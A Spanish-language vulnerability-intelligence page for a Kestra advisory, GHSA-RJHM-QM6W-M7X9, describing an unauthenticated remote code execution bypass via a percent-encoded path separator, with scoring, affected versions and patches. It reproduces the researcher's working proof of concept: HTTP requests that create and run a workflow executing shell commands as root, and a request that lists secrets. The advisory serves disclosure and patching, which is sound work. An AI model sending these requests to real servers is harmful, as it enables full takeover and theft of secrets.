llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Maven · io.kestra:kestra

GHSA-RJHM-QM6W-M7X9

Unauthenticated remote code execution via encoded-separator filter evasion

Parche disponible
Descargar PNG JSON
CVSS 3.1
10.0
Crítica
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche2 versionesPrimer parche a -21 d de la divulgación
Exposición53 dDesde la divulgación, 29 sept 2026, 8:03 a. m.
Detección50 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaAtender
Priorizar en el próximo ciclo de cambios
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Si fuera un examen, esto vale media nota.Mi radar llamuno marca riesgo alto. Confía.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 1.0.60 +1
Monitoreo
Detectada +1
8 sept 26
29 sept 26
19 nov 26
21 nov 26
8 sept 26
27 sept 26
15 oct 26
3 nov 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 1.0.60 io.kestra:kestra · -21 d desde divulgación
Remediación Parche 1.3.38 io.kestra:kestra · -21 d desde divulgación
Divulgación Publicada GHSA-RJHM-QM6W-M7X9 divulgada · CVSS 10 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

> Credit: Hoa X. Nguyen, OPSWAT Unit 515 (@Haruna38 https://github.com/Haruna38)

### Summary
Kestra binds its REST API authorization filter to a path pattern, and separately substitutes its own router to keep pre-tenancy URLs working. The filter's pattern is matched against the raw request target, while the router reads the decoded one. A path whose separator is percent-encoded therefore fails the filter's pattern and never reaches it, and is then decoded, rewritten and re-dispatched into the controller it was always going to reach. As a result an anonymous network client creates and runs a workflow, which executes OS commands as root.

This applies only to Kestra OSS; Kestra EE uses a different authentication mechanism.

### Details
`AuthenticationFilter` is registered on an Ant pattern, at `webserver/src/main/java/io/kestra/webserver/filter/AuthenticationFilter.java:27`:

@Filter("/api/v1/**")

Micronaut matches that pattern against the raw, percent-encoded request target. The target `/api/v1%2Fsecrets` contains no separator after `v1`, so it tokenises as `api` / `v1%2Fsecrets`. The pattern requires a third segment, so it does not match and the filter is never dispatched.

Kestra substitutes its own router for Micronaut's, at `webserver/src/main/java/io/kestra/webserver/rooting/TenantAliasingRooter.java:20`, and that router reads a decoded path:

@Replaces(DefaultRouter.class)
public class TenantAliasingRooter extends DefaultRouter {

    protected static final List<Pattern> EXCLUDED_ROUTES = List.of(
        Pattern.compile("/api/v1/main/.*"),
        Pattern.compile("/api/v1/configs")
    );

    public <T, R> UriRouteMatch<T, R> findClosest(HttpRequest<?> request) {
        String path = request.getUri().getPath();
        ...
        boolean excluded = EXCLUDED_ROUTES.stream().anyMatch(route -> route.matcher(path).matches());
        if (path.startsWith("/api/v1/") && !excluded) {
            URI originalUri = request.getUri();
            ...
                originalUri.getPath().replace("/api/v1", "/api/v1/" + getTenantId()),
            ...
            return super.findClosest(request.toMutableRequest().uri(updatedUri));

`request.getUri().getPath()` decodes `%2F`. The rooter sees `/api/v1/secrets`, finds it matches neither exclusion, rewrites it to `/api/v1/main/secrets`, and re-dispatches into the real controller. By the time the controller answers, no filter has run.

A four-cell differential isolates both halves of the mechanism. Only the raw target varies.

| raw request target | result | what it shows |
|---|---|---|
| `/api/v1/main/secrets` | `401` | filter runs and denies |
| `/api/v1/main%2Fsecrets` | `401` | raw tokenises as `api`/`v1`/`main%2Fsecrets`, three segments, so the pattern still matches and the filter still runs |
| `/api/v1%2Fmain/secrets` | `404` | pattern misses and the filter is skipped, but the decoded path hits `EXCLUDED_ROUTES`, so it returns null |
| `/api/v1%2Fsecrets` | `200` | pattern misses and the decoded path escapes the exclusions, rewritten, routed, served |

Moving one `%2F` a single segment to the right flips `404` to `200`, and moving it a single segment to the left flips `401` to `404`. Only raw-target segmentation produces the first result, and only decoded-path reading produces the second.

The exclusion list is what forces the tenant-less shape. `/api/v1/main/.*` catches any attempt that names the tenant explicitly, which is why `/api/v1%2Fmain/secrets` is dead while `/api/v1%2Fsecrets` is live.

The reachable set is narrower than the whole API: exactly those routes that exist under `/api/v1/main/...` and are not caught by `EXCLUDED_ROUTES`. Paths with no `/api/v1/main/` route answer `404`, among them `/api/v1%2Fversion`, `/api/v1%2Fworker`, `/api/v1%2Fhealth`, `/api/v1%2Fenv` and `/api/v1%2Floggers`. That bound constrains the route set, not the impact. Flow creation and execution triggering are both inside it, and those two routes are the entire chain.

### PoC
Two requests reach root. Neither carries a credential, a cookie or a token.

  1. Create the flow
POST /api/v1%2Fflows HTTP/1.1
Host: <target>
Content-Type: application/x-yaml
Content-Length: 356

id: capex-amashiro-e67e3b
namespace: capex-amashiro
tasks:
  - id: canary
    type: io.kestra.plugin.scripts.shell.Commands
    taskRunner:
      type: io.kestra.plugin.core.runner.Process
    commands:
      - |
        echo "::{\"outputs\":{\"whoami\":\"$(whoami)\",\"id\":\"$(id)\",\"hostname\":\"$(hostname)\",\"canary\":\"capex-amashiro-e67e3b\"}}::"

Response:

HTTP/1.1 200 OK
...

{
  "id": "capex-amashiro-e67e3b",
  "namespace": "capex-amashiro",
  "revision": 1,
  …
}
  1. Execute it
POST /api/v1%2Fexecutions%2Fcapex-amashiro%2Fcapex-amashiro-e67e3b?wait=true HTTP/1.1
Host: <target>
Content-Type: multipart/form-data; boundary=CAPEX
Content-Length: 10

--CAPEX--

Response:

HTTP/1.1 200 OK
...

"outputs": {
    "vars": {
        "id": "uid=0(root) gid=0(root) groups=0(root)",
        "canary": "capex-amashiro-e67e3b",
        "whoami": "root",
        "hostname": "6ec7f7362310"
    },
    "exitCode": 0,
    "outputFiles": {}
}

The same shape also reads instance-wide secrets without a credential:

GET /api/v1%2Fsecrets

Response:

HTTP/1.1 200 OK
...

{"readOnly":true,"results":[{"key":"CAPEX_CANARY"}],"total":1}

`CAPEX_CANARY` is the fixture secret the harness seeds into the target. The bypass is not given its name or its value.

### Impact
Unauthenticated user can execute arbitrary OS commands as root on the server, which further leads to subsequent leverage or escalation (e.g escaping to host OS via mounted `/var/run/docker.sock`, which is reachable from container root).

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
io.kestra:kestra< 1.0.60
io.kestra:kestra≥ 1.1.0 ≤ 1.1.20
io.kestra:kestra≥ 1.2.0 ≤ 1.2.24
io.kestra:kestra≥ 1.3.0 < 1.3.38
1.0.60
1.1.0
1.1.20
1.2.0
1.2.24
1.3.0
1.3.38
2.0.10
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
mavenio.kestra:kestra
Corregida 1.0.60, 1.3.38 -21 d · -21 d 2.0.10 no afectada
Versiones corregidas1.0.601.3.38
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/kestra-io/kestra/security/advisories/GHSA-rjhm-qm6w-m7x9

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.